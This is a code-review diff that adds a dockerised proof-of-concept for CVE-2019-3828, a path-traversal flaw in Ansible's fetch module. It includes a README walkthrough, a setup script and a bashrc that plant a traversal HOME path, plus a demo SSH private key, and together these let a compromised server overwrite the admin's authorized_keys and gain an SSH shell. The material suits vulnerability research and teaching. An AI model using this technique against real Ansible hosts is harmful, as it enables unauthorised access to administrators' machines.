Skip to content
This repository was archived by the owner on Dec 18, 2019. It is now read-only.
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
99 changes: 99 additions & 0 deletions Ansible/fetch_CVE-2019-3828/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,99 @@
# Path traversal vulnerability in Ansible fetch module (CVE-2019-3828)

This directory contains a proof-of-concept exploit for [CVE-2019-3828](https://access.redhat.com/security/cve/cve-2019-3828), a path-traversal vulnerability in Ansible's [fetch module](https://docs.ansible.com/ansible/latest/modules/fetch_module.html). The scenario for the demo is that there are two computers, named "server" and "zeuss". The former is a member of a server farm managed using Ansible. The latter machine belongs to a systems adminstrator who is responsible for managing the server farm. The system administrator's username is "bofh". Now imagine that an attacker has managed to infiltrate one of the server machines and is able to run arbitrary commands as the "bofh" user. But the attacker does not know bofh's password, so is not able to access other user accounts, or other computers, such as zeuss.

Ansible's fetch module is used to copy files from the servers back to the system adminstrator's computer. In this demo, the system administrator is going to download `.ssh/authorized_keys` from the server to check that it hasn't been tampered with. But the attacker is going to exploit a path traversal vulnerability in the fetch module and overwrite the system administrator's own `.ssh/authorized_keys`.

The demo uses [docker](https://www.docker.com/) to simulate the two computers. See below for instructions.

## Network setup

Create a docker network bridge, to simulate a network with two separate computers.

```
docker network create -d bridge --subnet 172.16.0.0/16 ansible-demo-network
```

## Server setup

Build the docker image:

```
docker build ./server -t ansible-server
```

Start the container:

```
docker run --rm --network ansible-demo-network --ip=172.16.0.10 -h server -i -t ansible-server
```

Inside the container, start `sshd` to enable remote access from zeuss.

```
tmux # this step is optional: it enables you to open multiple terminals inside docker
sudo service ssh start # sudo password is "x" (this is the only time that sudo is used)
```

## Zeuss setup

In a new terminal, build the docker image for zeuss.

```
docker build ./zeuss -t ansible-zeuss
```

Start the container:

```
docker run --rm --network ansible-demo-network --ip=172.16.0.11 -h zeuss -i -t ansible-zeuss
```

Inside the container:

```
source ./ansible/hacking/env-setup # Add Ansible to the path
tmux # this step is optional: it enables you to open multiple terminals inside docker
sudo service ssh start # sudo password is "x"
```

## Running the exploit

First, let us see how the fetch module is *supposed* to work. On zeuss, run the following commands:

```
cd /home/bofh/config
ansible-playbook myfetch.yml
```

This copies `authorized_keys` from the server to the following locatino on `zeuss`:

```
/home/bofh/config/fetched/172.16.0.10/home/bofh/.ssh/authorized_keys
```

Note that the file has been placed safely in a subdirectory of the current directory.

Now let's enable the exploit on the server. Run the following commands on the server:

```
ssh-keygen -t ed25519 -f /home/bofh/.ssh/id_ed25519 # Create a new ssh key
cat /home/bofh/.ssh/id_ed25519.pub >> /home/bofh/.ssh/authorized_keys # Add new key to authorized_keys
cd /home/bofh/scripts
./enable_exploit.sh
```

Now go back to zeuss and run the same fetch playbook as before:

```
cd /home/bofh/config
ansible-playbook myfetch.yml
```

The `authorized_keys` file has now been overwritten. Which means that the attacker can ssh into zeuss. Run this command on the server:

```
ssh 172.16.0.11
```

The attacker has a shell on zeuss!
20 changes: 20 additions & 0 deletions Ansible/fetch_CVE-2019-3828/server/Dockerfile
Original file line number Diff line number Diff line change
@@ -0,0 +1,20 @@
FROM ubuntu:bionic

RUN apt-get update && \
apt-get install -y \
ansible git curl zip unzip psmisc \
tmux sudo emacs openssh-server net-tools \
gcc

# Create a user account named "bofh" (which will have sudo privileges).
RUN adduser bofh --disabled-password

# Grant the 'bofh' user sudo access (only so that we can start sshd).
RUN adduser bofh sudo
RUN echo "bofh:x" | chpasswd
COPY home/ /home/bofh/
RUN chown -R bofh:bofh /home/bofh

# Switch over to the 'bofh' user, since root access is no longer required
USER bofh
WORKDIR /home/bofh
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOMlKzkE3eZi8hNuNzp03Jz95dBu6621V8HstIJJgisT bofh@zeuss
2 changes: 2 additions & 0 deletions Ansible/fetch_CVE-2019-3828/server/home/scripts/bashrc
Original file line number Diff line number Diff line change
@@ -0,0 +1,2 @@
cd /home/bofh/k/e/v/w/o/z/e/r/e
export HOME=../../../../../../../../../home/bofh
Original file line number Diff line number Diff line change
@@ -0,0 +1,6 @@
#!/bin/bash
mkdir -p /home/bofh/k/e/v/w/o/z/e/r/e
mkdir -p /home/bofh/home
ln -s /home/bofh/ /home/bofh/home/bofh
cd /home/bofh/scripts
cp /home/bofh/scripts/bashrc /home/bofh/.bashrc
26 changes: 26 additions & 0 deletions Ansible/fetch_CVE-2019-3828/zeuss/Dockerfile
Original file line number Diff line number Diff line change
@@ -0,0 +1,26 @@
FROM ubuntu:bionic

RUN apt-get update && \
apt-get install -y \
git curl zip unzip psmisc \
tmux sudo emacs openssh-server net-tools x11-apps \
build-essential libssl-dev libffi-dev python-dev \
python-setuptools python-jinja2 python-yaml

# Create a non-root user account to run Ansible.
RUN adduser bofh --disabled-password

# Grant the 'bofh' user sudo access, so that we can start sshd.
RUN adduser bofh sudo
RUN echo "bofh:x" | chpasswd
COPY home/ /home/bofh/
RUN chown -R bofh:bofh /home/bofh

# Switch over to the 'bofh' user, since root access is no longer required
USER bofh
WORKDIR /home/bofh

# Get vulnerable version of Ansible source code.
RUN git clone https://github.com/ansible/ansible.git && \
cd ansible && \
git checkout f9f7b29a5a5543e8d1c25e8cc1f2d3040d8536b7
7 changes: 7 additions & 0 deletions Ansible/fetch_CVE-2019-3828/zeuss/home/.ssh/id_ed25519
Original file line number Diff line number Diff line change
@@ -0,0 +1,7 @@
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACDjJSs5BN3mYvITbjc6dNyc/eXQbuuttVfB7LSCSYIrEwAAAJDuQrmQ7kK5
kAAAAAtzc2gtZWQyNTUxOQAAACDjJSs5BN3mYvITbjc6dNyc/eXQbuuttVfB7LSCSYIrEw
AAAEATobJL9MLSQNtHem7bzn8zp7dLWqdqP5VQo3Ma61L9+eMlKzkE3eZi8hNuNzp03Jz9
5dBu6621V8HstIJJgisTAAAACmJvZmhAemV1c3MBAgM=
-----END OPENSSH PRIVATE KEY-----
1 change: 1 addition & 0 deletions Ansible/fetch_CVE-2019-3828/zeuss/home/.ssh/id_ed25519.pub
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOMlKzkE3eZi8hNuNzp03Jz95dBu6621V8HstIJJgisT bofh@zeuss
2 changes: 2 additions & 0 deletions Ansible/fetch_CVE-2019-3828/zeuss/home/config/ansible.cfg
Original file line number Diff line number Diff line change
@@ -0,0 +1,2 @@
[defaults]
inventory = inventory.d
Original file line number Diff line number Diff line change
@@ -0,0 +1,2 @@
[servers]
172.16.0.10
7 changes: 7 additions & 0 deletions Ansible/fetch_CVE-2019-3828/zeuss/home/config/myfetch.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,7 @@
---
- hosts: servers
tasks:
- name: Fetch authorized_keys
fetch:
src: ~/.ssh/authorized_keys
dest: fetched